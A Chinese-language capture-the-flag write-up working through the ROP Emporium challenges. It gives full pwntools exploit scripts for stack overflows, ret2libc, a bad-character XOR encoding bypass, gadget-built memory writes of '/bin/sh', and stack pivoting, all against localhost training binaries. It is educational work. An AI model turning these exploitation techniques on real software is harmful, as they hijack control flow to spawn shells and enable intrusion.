rop emporium网站上提供了许多构造rop
的challenge
,作为小白的我从这里开始,专注于rop
链的构造。
ps:写完放了好久结果没投出去,我好菜啊-。-
IDA打开,很容易找到溢出点
char s; // [esp+0h][ebp-28h]
可以看出s距ebp
的偏移为0x28
memset(&s, 0, 0x20u);
为s
分配了0x20
大小的内存
fgets(&s, 50, stdin)
从stdin
中读入50
从上面三条指令可以看出如果我們輸入0x28
那麼正好可以写到ebp
之前,后面的0x10
字节的内容就可以让我们任意的覆盖了。而且ebp
之后便是ret
的返回地址。
有一点值得引起注意,我们回车换行符同样会输入进去0x10
明确溢出点以及可溢出的字节后接下来我们就开始构造rop
,但在这之前我们还应检查一下程序开启了哪些保护,这决定了我们该采取何种rop
攻击方式
checksec ret2win32
有关linux下的保护措施,在此不做说明。
程序中已经有ret2win
函数,通过控制流跳转到此函数,便可得到flag
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0) + p32(0x08048659)
conn.send(payload)
conn.interactive()
attack_remote()
因为这是第一题所以简单说一下溢出点的判断,后续则专注与rop链的构造
仅仅是stack的offset发生了变化
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
# context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x20 + p64(0) + p64(0x400811)
conn.send(payload)
conn.interactive()
attack_remote()
可能有同学会疑问p64(0)
的作用,这是为了覆盖ebp
以上的rop我们称作ret2text
溢出点还是一样的,只不过少了直接利用的函数,但是程序中提供了system
和/bin/cat flag.txt
,同样的ret到system
并且通过栈传入/bin/cat flag.txt
即可
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0) + p32(0x08048657)+p32(0x0804A030)
conn.send(payload)
conn.interactive()
此题还有意外一种思路,我们可以不直接返回到text
段,而是通过.plt
段,利用linux下的延迟绑定技术,找到内存中system
的真实地址,并且传入参数。
在linux中主要是通过ld.so
进行加载动态库,从图中我们也可以看到此时将libc
中的system
加载到内存
此时的脚本如下:
def attack_remote1():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0) + p32(0x08048430)+p32(0)+p32(0x0804A030)
conn.send(payload)
conn.interactive()
我想有部分同学会对第二个p32(0)
感到困惑,其实我也很疑惑,正常跳转来说p32(0x08048430)
之后就应该接上p32(0x0804A030)
作为第一个参数。好吧,我比较喜欢钻死胡同,网上下了glibc
的源码,看了下system
函数的实现
int
__libc_system (const char *line)
{
if (line == NULL)
/* Check that we have a command processor available. It might
not be available after a chroot(), for example. */
return do_system ("exit 0") == 0;
return do_system (line);
}
weak_alias (__libc_system, system)
emmm,ida里面看看
其中eax
作为我们传入的参数,位于[esp+0Ch+arg_0]
中,结合上一条语句可以知道中间确实需要写一个p32(0)
作为填充。
完全可以当我这段没写,记住就好了哈!
至此,我们已经成功的拿到flag。
此种rop
我们称作ret2libc
由于64位使用寄存器传参,因此就不能像上题那样,我们必须把/bin/cat flag.txt
通过pop
传入寄存器中,这里就需要了解下万能rop链了。
这段代码是_libc_csu_init
中的代码,也就是所有的linux64位程序都会有这段,想必你一定知道IDA中的C
和D
键,其实pop r15
的机器码是41 5f
和pop rdi
的机器码是5f
,正是这微小的差别(不知道我这么解释能不能理解-。-)
当然啦,如果你不想理解,也可以直接使用工具ropper
或者ROPgadget
搜索相应的rop,由于第一次提到这两个工具,我在这里就简述一下这两个工具的使用。
两个工具差不多,都可以通过pip安装,这里就讲一下ROPgadget
ROPgadget -h
查看帮助,其中提供了很多例子。
ROPgadget --binary ./split --ropchain | grep "pop rdi ; ret"
还有很多其它的用法,我就不做测试了。
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x20 + p64(0) + p64(0x400883) + p64(0x601060) + p64(0x400810)
conn.send(payload)
conn.interactive()
那么还能否用ret2libc
的方法呢?!答案的显而易见的当然可以丫
脚本如下:
def attack_remote1():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x20 + p64(0) + p64(0x400883) + p64(0x601060) + p64(0x4005E0)
conn.send(payload)
conn.interactive()
刚拿到题目发现附件还挺多的。给了额外的.so
题目的结构没有变,但是题中没有system
,搜索一下string
列表还是发现了一点东西。
看来我们需要去看看libcallme32.so
中的callme_three
系列函数了。
emm,我们只需要构造传入的参数为1,2,3
即可,好吧,接下来就是构造rop
,依次执行callme_one(),callme_two()和callme_three()
这里是不能使用ret2text
的,因为一旦ret
到callme-three
就无法控制执行流了。因此我们采用ret2libc
(感觉也不能这么叫,因为其实是返回到了*.so中)
刚开始在编写rop时我遇到了问题,按着之前的方法我的payload如下:
payload = "a" * 0x28 + p32(0)
payload+=p32(0x80485C0)+ p32(0)+p32(0x1) + p32(0x2) + p32(0x3)
其中的p32(0)用于填充,此时callme-one
是正确执行了,但是在leave retn
时出错。其实吧,就是对汇编指令还不够熟悉。p32(0x80485C0)
后面应该是函数执行之后的返回地址,知不是因为之前调用完就已经拿到flag,因此不需要考虑这点,但是这里必须设置返回地址,并且将esp
指向正确的位置,也就是通常说的平衡堆栈
。由于之前传入了三个参数,所以寻找rop
使esp
向上偏移0xc
字节,寻找rop还是用之前方法即可。
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0)
payload+=p32(0x80485C0)+ p32(0x080488a9)+p32(0x1) + p32(0x2) + p32(0x3)
payload+=p32(0x8048620)+ p32(0x080488a9)+p32(0x1) + p32(0x2) + p32(0x3)
payload+=p32(0x80485B0)+ p32(0x080488a9)+p32(0x1) + p32(0x2) + p32(0x3)
conn.sendline(payload)
conn.interactive()
attack_remote()
这里可以考虑一个问题:最后一行payload
改成payload+=p32(0x80485B0)+ p32(0)+p32(0x1) + p32(0x2) + p32(0x3)
是否可以呢?请自行尝试
对于64位我们只需要想清楚一个问题即可?我们是否需要堆栈平衡?
我先直接拿原来的脚本跑一下,结果肯定是不行哈。
我们需要找到这样的指令,将栈上的值传到各个寄存器中,幸运的是程序中提供了一段usefulGadgets
-.-看来作者真的是煞费苦心啊。
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x20 + p64(0)
payload += p64(0x401AB0) + p64(0x1) + p64(0x2) + p64(0x3) + p64(0x401850)
payload += p64(0x401AB0) + p64(0x1) + p64(0x2) + p64(0x3) + p64(0x401870)
payload += p64(0x401AB0) + p64(0x1) + p64(0x2) + p64(0x3) + p64(0x401810)
conn.sendline(payload)
conn.interactive()
attack_remote()
如果作者没有提供usefulGadgets
怎么办?,通过之前提到的万能rop
链只能给rdi,rsi
赋值,但是没有pop rdx
,但是如果说此题只需要两个参数,那么还是可以通过万能rop
链来解决的。
先简单所搜下string
。
没什么思路,我们要想办法将/bin/sh
写入到内存中,在IDA中ctrl +S
查看各段的权限
data
段太小所以我们往.bss
中写(其实看下程序往data段写也没事,因为后面的LOAD段什么数据也没有)
好接下来的问题就是怎么写数据,我们可以使用ROPgadge搜索一下。
mov dword ptr [edi], ebp ; ret
可以使用这条指令写内存,所以尝试控制edi 和 ebp
有一点值得注意,由于是32位程序,每次只能写4个字节,所以要分两次写入,成功写入后便可ret到system
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0)
payload += p32(0x080486DA) + p32(0x0804A040) + '/bin' + p32(0x08048670)
payload += p32(0x080486DA) + p32(0x0804A040 + 4) + \
'/sh\x00' + p32(0x08048670)
payload += p32(0x08048430) + p32(0) + p32(0x0804A040)
conn.sendline(payload)
conn.interactive()
attack_remote()
构造rop
的思路基本一致,不过可以一次传入`/bin/sh\x0’
脚本如下:
from pwn import*
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x20 + p64(0)
payload += p64(0x400890) + p64(0x601060) + '/bin/sh\x00' + p64(0x400820)
payload += p64(0x400893) + p64(0x601060) + p64(0x4005E0)
conn.sendline(payload)
conn.interactive()
attack_remote()
从这个题目的函数名称中大概猜到应该是对/bin/sh\x00
做了过滤
emm 代码我就不解释了。
我们仍需要将/bin/sh\x00
写入,因此我们需要对敏感字符进行编码,最最简单的就是xor操作,感觉有点像给shellcode
编码
接下来就是寻找rop
链
一张图,一段脚本,自行领会
脚本如下:
from pwn import*
def encode():
r = []
for i in '/bin/sh\x00':
c = ord(i) ^ 2
r.append(hex(c))
print r # ['0x2d', '0x60', '0x6b', '0x6c', '0x2d', '0x71', '0x6a', '0x2']
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0)
payload += p32(0x8048899) + '\x2d\x60\x6b\x6c' + \
p32(0x0804A040) + p32(0x08048893)
payload += p32(0x8048899) + '\x2d\x71\x6a\x02' + \
p32(0x0804A040 + 4) + p32(0x08048893)
payload += p32(0x8048896) + p32(0x0804A040) + p32(2) + p32(0x8048890)
payload += p32(0x8048896) + p32(0x0804A040 + 1) + p32(2) + p32(0x8048890)
payload += p32(0x8048896) + p32(0x0804A040 + 2) + p32(2) + p32(0x8048890)
payload += p32(0x8048896) + p32(0x0804A040 + 3) + p32(2) + p32(0x8048890)
payload += p32(0x8048896) + p32(0x0804A040 + 4) + p32(2) + p32(0x8048890)
payload += p32(0x8048896) + p32(0x0804A040 + 5) + p32(2) + p32(0x8048890)
payload += p32(0x8048896) + p32(0x0804A040 + 6) + p32(2) + p32(0x8048890)
payload += p32(0x8048896) + p32(0x0804A040 + 7) + p32(2) + p32(0x8048890)
payload += p32(0x80484E0) + p32(0) + p32(0x0804A040)
conn.sendline(payload)
conn.interactive()
# attack_remote()
attack_remote()
循环那部分可以用函数简化。我这偷个懒
也就是参数不同,直接上脚本了
from pwn import*
def encode():
r = []
for i in '/bin/sh\x00':
c = ord(i) ^ 2
r.append(hex(c))
print r # ['0x2d', '0x60', '0x6b', '0x6c', '0x2d', '0x71', '0x6a', '0x2']
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x20 + p64(0)
payload += p64(0x400b3b) + '\x2d\x60\x6b\x6c\x2d\x71\x6a\x02' + \
p64(0x601080) + p64(0x400b34)
payload += p64(0x400b40) + p64(0x2) + p64(0x601080) + p64(0x400b30)
payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 1) + p64(0x400b30)
payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 2) + p64(0x400b30)
payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 3) + p64(0x400b30)
payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 4) + p64(0x400b30)
payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 5) + p64(0x400b30)
payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 6) + p64(0x400b30)
payload += p64(0x400b40) + p64(0x2) + p64(0x601080 + 7) + p64(0x400b30)
payload += p64(0x400b39) + p64(0x601080)
payload += p64(0x4006F0)
conn.sendline(payload)
conn.interactive()
attack_remote()
ROPgadge没找到合适的rop,有点郁闷,但是要写内存,肯定需要mov指令。
所以从后向前构造rop
,由于没有pop edx| pop ecx
之类的指令,所以我们得间接的对edx |ecx
进行赋值,注意到xor edx,ebx
指令和xchg edx,ecx
指令,所以问题变成寻找pop ebx
幸运的是有这条指令,那么我们便可以编写rop
链啦!-。-
xchg指令用来交换两个寄存器的数据
脚本如下:
from pwn import*
def writedata(data, addr):
payload = p32(0x80483e1) + p32(addr) # pop ebx bss
payload += p32(0x8048671) + p32(0) # xor edx edx
payload += p32(0x804867b) + p32(0) # xor_edx_ebx
payload += p32(0x8048689) + p32(0) # xchg edx ecx
payload += p32(0x80483e1) + data # pop ebx bss
payload += p32(0x8048671) + p32(0) # xor edx edx
payload += p32(0x804867b) + p32(0) # xor_edx_ebx
payload += p32(0x8048693) + p32(0) + p32(0) # mov [ecx] edx
return payload
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x28 + p32(0)
payload += writedata("/bin", 0x0804A040)
payload += writedata("/sh\x00", 0x0804A040 + 4)
payload += p32(0x8048430) + p32(0) + p32(0x0804A040) # system plt
conn.sendline(payload)
conn.interactive()
attack_remote()
有困难的看我注释哦!一切尽在不言中!-。-
类似,重新找一遍rop
链,本来是想用这条0x000000000040084f : mov dword ptr [rdx], ebx ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
但是后来发现,无法控制rdx
,这里要提一点ROPgadge
的使用技巧
如下命令:ROPgadget --binary fluff --ropchain --depth 20 | grep "mov"
所以我再次尝试如下指令:
0x000000000040084e : mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
成功找到rop
链,我想此时应该能感受到rop
的强大了吧!对执行流完完全全的控制。
脚本如下:
from pwn import*
def writedata(data, addr):
payload = p64(0x400822) + p64(0) # xor r11 r11
payload += p64(0x4008bc) + p64(addr) + p64(0) + p64(0) + p64(0) # pop r12
payload += p64(0x40082f) + p64(0) # xor r11, r12
payload += p64(0x400840) + p64(0) # xchg r11, r10
payload += p64(0x400822) + p64(0) # xor r11 r11
payload += p64(0x4008bc) + data + p64(0) + p64(0) + p64(0) # pop r12
payload += p64(0x40082f) + p64(0) # xor r11, r12
payload += p64(0x40084e) + p64(0) + p64(0) # mov qword ptr [r10], r11
payload += p64(0x4008c3) + p64(addr) # pop rdi
# 0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
# 0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
# 0x00000000004008bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
# 0x00000000004008c3 : pop rdi ; ret
return payload
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
payload = "a" * 0x20 + p64(0)
payload += writedata("/bin/sh\x00", 0x601060)
payload += p64(0x4005E0) # system plt
conn.sendline(payload)
conn.interactive()
attack_remote()
代码中写了很多注释.。-。相信同学们能看懂。
最为最后一题难度确实是可以啊!?
根据题目中的提示,查看了libpivot32
找到了目标,那么该如何返回到这里呢?!
题中可以让我们输入两次,一次是输入到堆上,还有一次是输入到stack上,但是我们仅仅能溢出18(58-40)个字节,这远远不足以让我们编写rop
那么就需要将rop
写到堆上,幸运的是题目中打印出了堆地址。刚开始我在一直在控制eip
,这里的关键是控制ebp
,从而控制eip
,否则那岂不是成了shellcode
了么,但是开启了nx
,shellcode是执行不了的。
好,那么该如何控制ebp
呢?
如下:fake | ebp| leave |ret
(leave指令我就不解释了),动态调试一下。
类似这样payload = "a" * 0x28+p32(leak_addr-4)+p32(0x0804889f)
便可以控制ebp
,主要是对leave
指令的理解
接下来要解决的问题是,如何确定动态库中ret2win
函数的地址,这里又不得不提到延迟绑定技术了,当我们调用一次foothold_function
后,在got.plt
中就记录了foothold_function
的真实地址,而对于lib库中的函数偏移的固定的,据此我们可以求出ret2win
函数的地址,为了获取got.plt
中的地址,需要寻找mov reg [reg]
的指令
脚本如下:
from pwn import*
from libnum import n2s, s2n
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
conn.recvuntil('to pivot: ')
leak_addr = int(conn.recv(10), 16)
log.debug("leak_addr:" + hex(leak_addr))
# 0x080488c4 : mov eax, dword ptr [eax] ; ret
# 0x080488c7 : add eax, ebx ; ret
# 0x080488c0 : pop eax ; ret
# 0x08048571 : pop ebx ; ret
# 0x080486a3 : call eax
offset = 0x967 - 0x770
payload = p32(0x80485F0) + p32(0x80488c0) + p32(0x804A024) + p32(0x80488c4)
payload += p32(0x8048571) + p32(offset) + p32(0x80488c7) + p32(0x80486a3)
conn.sendline(payload)
conn.recvuntil('Now kindly send your stack smash')
payload = "a" * 0x28 + p32(leak_addr - 4) + p32(0x0804889f)
conn.sendline(payload)
conn.interactive()
attack_remote()
不多解释了,最后一题,同学们不妨自己尝试一下!
脚本如下:
from pwn import*
from libnum import n2s, s2n
def attack_remote():
# echo 0 > /proc/sys/kernel/randomize_va_space
context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('localhost', 10000)
raw_input("go?")
conn.recvuntil('to pivot: ')
# leak_addr = int(conn.recv(10), 16)
leak_addr = int(conn.recv(14), 16)
log.debug("leak_addr:" + hex(leak_addr))
# 0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
# 0x000000000040098e : call rax
# 0x0000000000400b00 : pop rax ; ret
# 0x0000000000400b0a : add eax, ebp ; ret
# 0x0000000000400900 : pop rbp ; ret
# 0x0000000000400b03 : xchg eax, esp ; ret
# 0x0000000000400b02 : xchg rax, esp ; ret
offset = 0xABE - 0x970
payload = p64(0x0400850) + p64(0x400b00) + p64(0x602048) + p64(0x400b05)
payload += p64(0x400900) + p64(offset) + p64(0x400b09) + p64(0x40098e)
conn.sendline(payload)
# conn.recvuntil('Now kindly send your stack smash')
payload = "A" * 0x28 + p64(0x400b00) + p64(leak_addr) + p64(0x400b03)
conn.sendline(payload)
conn.interactive()
attack_remote()
虽然不想多说什么,但还是遇到了一个问题。
不只是作者有意为之,还是碰巧。
所有的leave
指令,均带有\x0a
意味着,fgets
会在\x0a
时进行截断,也就导致输入不完整。
所以我们还要另寻办法,修改esp
自此,所有练习完成,恭喜你达成rop
成就-。-
说个题外话,我在ubuntu18.04下运行有些题目的脚本无法拿到shell,但是在ubuntu16.04下却可以,大概思考了下可能是glibc的问题。
估计只有菜鸡的我会写的这么详细,文中肯定还有很多不足之处,还是希望大家多总结-。-